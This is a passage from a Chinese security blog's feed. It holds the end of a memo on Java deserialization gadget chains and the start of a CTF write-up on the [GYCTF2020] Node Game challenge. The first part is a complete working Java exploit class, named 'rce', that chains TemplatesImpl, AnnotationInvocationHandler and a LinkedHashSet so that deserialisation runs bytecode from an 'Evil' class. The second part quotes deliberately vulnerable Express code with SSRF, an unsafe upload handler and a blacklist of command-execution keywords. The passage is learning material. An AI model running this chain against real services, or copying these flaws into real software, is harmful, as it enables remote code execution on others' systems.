class="token class-name">Field</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">InvocationHandler</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>lang<span class="token punctuation">.</span>reflect<span class="token punctuation">.</span></span><span class="token class-name">Proxy</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashMap</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">HashSet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">LinkedHashSet</span></span><span class="token punctuation">;</span><span class="token keyword">import</span> <span class="token import"><span class="token namespace">java<span class="token punctuation">.</span>util<span class="token punctuation">.</span></span><span class="token class-name">Map</span></span><span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> rce <span class="token punctuation">&#123;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token class-name">String</span><span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">ClassPool</span> pool <span class="token operator">=</span> <span class="token class-name">ClassPool</span><span class="token punctuation">.</span><span class="token function">getDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">CtClass</span> clazz <span class="token operator">=</span> pool<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token class-name">Evil</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">TemplatesImpl</span> obj <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">TemplatesImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_bytecodes"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token punctuation">&#123;</span>clazz<span class="token punctuation">.</span><span class="token function">toBytecode</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_name"</span><span class="token punctuation">,</span> <span class="token string">"HelloTemplatesImpl"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">setFieldValue</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"_tfactory"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">TransformerFactoryImpl</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">String</span> zeroHashCodeStr <span class="token operator">=</span> <span class="token string">"f5a5a608"</span><span class="token punctuation">;</span>        <span class="token comment">// 实例化一个map，并添加Magic Number为key，也就是f5a5a608，value先随便设置一个值</span>        <span class="token class-name">HashMap</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">HashMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        map<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>zeroHashCodeStr<span class="token punctuation">,</span> <span class="token string">"foo"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 实例化AnnotationInvocationHandler类</span>        <span class="token class-name">Constructor</span> handlerConstructor <span class="token operator">=</span> <span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token function">forName</span><span class="token punctuation">(</span><span class="token string">"sun.reflect.annotation.AnnotationInvocationHandler"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredConstructor</span><span class="token punctuation">(</span><span class="token class-name">Class</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> <span class="token class-name">Map</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        handlerConstructor<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">InvocationHandler</span> tempHandler <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">InvocationHandler</span><span class="token punctuation">)</span> handlerConstructor<span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token class-name">Templates</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">,</span> map<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 为tempHandler创造一层代理</span>        <span class="token class-name">Templates</span> proxy <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Templates</span><span class="token punctuation">)</span> <span class="token class-name">Proxy</span><span class="token punctuation">.</span><span class="token function">newProxyInstance</span><span class="token punctuation">(</span>rce<span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">.</span><span class="token function">getClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Class</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">&#123;</span><span class="token class-name">Templates</span><span class="token punctuation">.</span><span class="token keyword">class</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> tempHandler<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 实例化HashSet，并将两个对象放进去</span>        <span class="token class-name">HashSet</span> set <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">LinkedHashSet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        set<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span>        set<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>proxy<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 将恶意templates设置到map中</span>        map<span class="token punctuation">.</span><span class="token function">put</span><span class="token punctuation">(</span>zeroHashCodeStr<span class="token punctuation">,</span> obj<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ByteArrayOutputStream</span> barr <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectOutputStream</span> oos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectOutputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">writeObject</span><span class="token punctuation">(</span>set<span class="token punctuation">)</span><span class="token punctuation">;</span>        oos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">System</span><span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>barr<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">ObjectInputStream</span> ois <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ObjectInputStream</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">ByteArrayInputStream</span><span class="token punctuation">(</span>barr<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token class-name">Object</span> o <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">Object</span><span class="token punctuation">)</span>ois<span class="token punctuation">.</span><span class="token function">readObject</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">setFieldValue</span><span class="token punctuation">(</span><span class="token class-name">Object</span> obj<span class="token punctuation">,</span> <span class="token class-name">String</span> fieldName<span class="token punctuation">,</span> <span class="token class-name">Object</span> value<span class="token punctuation">)</span> <span class="token keyword">throws</span> <span class="token class-name">Exception</span> <span class="token punctuation">&#123;</span>        <span class="token class-name">Field</span> field <span class="token operator">=</span> obj<span class="token punctuation">.</span><span class="token function">getClass</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getDeclaredField</span><span class="token punctuation">(</span>fieldName<span class="token punctuation">)</span><span class="token punctuation">;</span>        field<span class="token punctuation">.</span><span class="token function">setAccessible</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        field<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p>参考的太多了，除了文中列举的，总结个大概</p><ul><li>P🐮的知识星球的文章，CC链主要参考《Java安全漫谈》系列，Fastjson参考星球上《FastJson安全入门初探》</li><li>部分理解来自<code>H0t-A1r-B4llo0n</code>师傅博客：<a href="https://www.guildhab.top/">https://www.guildhab.top/</a></li><li>另外还有先知上的文章就不一一列举了</li></ul><p>感谢师傅们！</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;把学习java反序列化的一些链都记录一下，简单记录Payload，即利用方法，细节就不分析了，网上文章很多 &lt;del&gt;（其实是理解不深怕分析不到位。。。）&lt;/del&gt;，当然重在原理理解，以后发现了新思路可能会记录一下吧&lt;/p&gt;
&lt;p&gt;本篇主要记录利用链代码，以及自己的一些简单理解，&lt;strong&gt;非漏洞原理&lt;/strong&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="Java" scheme="https://www.extrader.top/tags/Java/"/>
    
      <category term="反序列化" scheme="https://www.extrader.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
  </entry>
  
  <entry>
    <title>记几道JavaScript题</title>
    <link href="https://www.extrader.top/posts/bd369d31/"/>
    <id>https://www.extrader.top/posts/bd369d31/</id>
    <published>2021-08-17T09:16:07.000Z</published>
    <updated>2022-03-26T05:48:51.044Z</updated>
    
    <content type="html"><![CDATA[<p>Tip：<code>npm audit</code>，Run a security audit</p><span id="more"></span><h3 id="GYCTF2020-Node-Game"><a href="#GYCTF2020-Node-Game" class="headerlink" title="[GYCTF2020]Node Game"></a>[GYCTF2020]Node Game</h3><p>题目链接：<a href="https://buuoj.cn/challenges#[GYCTF2020]Node%20Game">https://buuoj.cn/challenges#[GYCTF2020]Node%20Game</a></p><p>比赛的时候好像有个提示：Node 版本为 8.12.0</p><p>这题主要考的是<code>node代审</code>、<code>SSRF</code>和<code>请求夹带（http走私）</code></p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> express <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'express'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> app <span class="token operator">=</span> <span class="token function">express</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> fs <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'fs'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> path <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'path'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> http <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'http'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> pug <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'pug'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">var</span> morgan <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'morgan'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> multer <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'multer'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token function">multer</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token literal-property property">dest</span><span class="token operator">:</span> <span class="token string">'./dist'</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">array</span><span class="token punctuation">(</span><span class="token string">'file'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token function">morgan</span><span class="token punctuation">(</span><span class="token string">'short'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token string">"/uploads"</span><span class="token punctuation">,</span>express<span class="token punctuation">.</span><span class="token function">static</span><span class="token punctuation">(</span>path<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span>__dirname<span class="token punctuation">,</span> <span class="token string">'/uploads'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuation">(</span><span class="token string">"/template"</span><span class="token punctuation">,</span>express<span class="token punctuation">.</span><span class="token function">static</span><span class="token punctuation">(</span>path<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span>__dirname<span class="token punctuation">,</span> <span class="token string">'/template'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">var</span> action <span class="token operator">=</span> req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>action<span class="token operator">?</span>req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>action<span class="token operator">:</span><span class="token string">"index"</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span> action<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">"/"</span><span class="token punctuation">)</span> <span class="token operator">||</span> action<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">"\\"</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"Errrrr, You have been Blocked"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    file <span class="token operator">=</span> path<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span>__dirname <span class="token operator">+</span> <span class="token string">'/template/'</span><span class="token operator">+</span> action <span class="token operator">+</span><span class="token string">'.pug'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">var</span> html <span class="token operator">=</span> pug<span class="token punctuation">.</span><span class="token function">renderFile</span><span class="token punctuation">(</span>file<span class="token punctuation">)</span><span class="token punctuation">;</span>    res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>html<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>app<span class="token punctuation">.</span><span class="token function">post</span><span class="token punctuation">(</span><span class="token string">'/file_upload'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">var</span> ip <span class="token operator">=</span> req<span class="token punctuation">.</span>connection<span class="token punctuation">.</span>remoteAddress<span class="token punctuation">;</span>    <span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">msg</span><span class="token operator">:</span> <span class="token string">''</span><span class="token punctuation">,</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ip<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span><span class="token string">'127.0.0.1'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        obj<span class="token punctuation">.</span>msg<span class="token operator">=</span><span class="token string">"only admin's ip can use it"</span>        res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span>     <span class="token punctuation">&#125;</span>    fs<span class="token punctuation">.</span><span class="token function">readFile</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>files<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>path<span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">err<span class="token punctuation">,</span> data</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>err<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>            obj<span class="token punctuation">.</span>msg <span class="token operator">=</span> <span class="token string">'upload failed'</span><span class="token punctuation">;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span><span class="token keyword">else</span><span class="token punctuation">&#123;</span>            <span class="token keyword">var</span> file_path <span class="token operator">=</span> <span class="token string">'/uploads/'</span> <span class="token operator">+</span> req<span class="token punctuation">.</span>files<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>mimetype <span class="token operator">+</span><span class="token string">"/"</span><span class="token punctuation">;</span>            <span class="token keyword">var</span> file_name <span class="token operator">=</span> req<span class="token punctuation">.</span>files<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>originalname            <span class="token keyword">var</span> dir_file <span class="token operator">=</span> __dirname <span class="token operator">+</span> file_path <span class="token operator">+</span> file_name            <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>fs<span class="token punctuation">.</span><span class="token function">existsSync</span><span class="token punctuation">(</span>__dirname <span class="token operator">+</span> file_path<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>                <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>                    fs<span class="token punctuation">.</span><span class="token function">mkdirSync</span><span class="token punctuation">(</span>__dirname <span class="token operator">+</span> file_path<span class="token punctuation">)</span>                <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                    obj<span class="token punctuation">.</span>msg <span class="token operator">=</span> <span class="token string">"file type error"</span><span class="token punctuation">;</span>                    res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token keyword">return</span>                <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>            <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>                fs<span class="token punctuation">.</span><span class="token function">writeFileSync</span><span class="token punctuation">(</span>dir_file<span class="token punctuation">,</span>data<span class="token punctuation">)</span>                obj <span class="token operator">=</span> <span class="token punctuation">&#123;</span>                    <span class="token literal-property property">msg</span><span class="token operator">:</span> <span class="token string">'upload success'</span><span class="token punctuation">,</span>                    <span class="token literal-property property">filename</span><span class="token operator">:</span> file_path <span class="token operator">+</span> file_name                <span class="token punctuation">&#125;</span>             <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                obj<span class="token punctuation">.</span>msg <span class="token operator">=</span> <span class="token string">'upload failed'</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/source'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    res<span class="token punctuation">.</span><span class="token function">sendFile</span><span class="token punctuation">(</span>path<span class="token punctuation">.</span><span class="token function">join</span><span class="token punctuation">(</span>__dirname <span class="token operator">+</span> <span class="token string">'/template/source.txt'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>app<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token string">'/core'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">req<span class="token punctuation">,</span> res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">var</span> q <span class="token operator">=</span> req<span class="token punctuation">.</span>query<span class="token punctuation">.</span>q<span class="token punctuation">;</span>    <span class="token keyword">var</span> resp <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>q<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">var</span> url <span class="token operator">=</span> <span class="token string">'http://localhost:8081/source?'</span> <span class="token operator">+</span> q        console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span>        <span class="token keyword">var</span> trigger <span class="token operator">=</span> <span class="token function">blacklist</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>trigger <span class="token operator">===</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"&lt;p>error occurs!&lt;/p>"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>                http<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">resp</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                    resp<span class="token punctuation">.</span><span class="token function">setEncoding</span><span class="token punctuation">(</span><span class="token string">'utf8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    resp<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">'error'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">err</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                    <span class="token keyword">if</span> <span class="token punctuation">(</span>err<span class="token punctuation">.</span>code <span class="token operator">===</span> <span class="token string">"ECONNRESET"</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                     console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Timeout occurs"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                     <span class="token keyword">return</span><span class="token punctuation">;</span>                    <span class="token punctuation">&#125;</span>                   <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    resp<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">'data'</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">chunk</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                        <span class="token keyword">try</span> <span class="token punctuation">&#123;</span>                         resps <span class="token operator">=</span> chunk<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                         res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>resps<span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token punctuation">&#125;</span><span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                           res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span>                        <span class="token punctuation">&#125;</span>                     <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">'error'</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>                         res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span>e<span class="token punctuation">.</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>error<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        res<span class="token punctuation">.</span><span class="token function">send</span><span class="token punctuation">(</span><span class="token string">"search param 'q' missing!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token keyword">function</span> <span class="token function">blacklist</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">var</span> evilwords <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"global"</span><span class="token punctuation">,</span> <span class="token string">"process"</span><span class="token punctuation">,</span><span class="token string">"mainModule"</span><span class="token punctuation">,</span><span class="token string">"require"</span><span class="token punctuation">,</span><span class="token string">"root"</span><span class="token punctuation">,</span><span class="token string">"child_process"</span><span class="token punctuation">,</span><span class="token string">"exec"</span><span class="token punctuation">,</span><span class="token string">"\""</span><span class="token punctuation">,</span><span class="token string">"'"</span><span class="token punctuation">,</span><span class="token string">"!"</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">var</span> arrayLen <span class="token operator">=</span> evilwords<span class="token punctuation">.</span>length<span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> arrayLen<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">const</span> trigger <span class="token operator">=</span> url<span class="token punctuation">.</span><span class="token function">includes</span><span class="token punctuation">(</span>evilwords<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>trigger <span class="token operator">===</span> <span class="token boolean">true</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">return</span> <span class="token boolean">true</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token 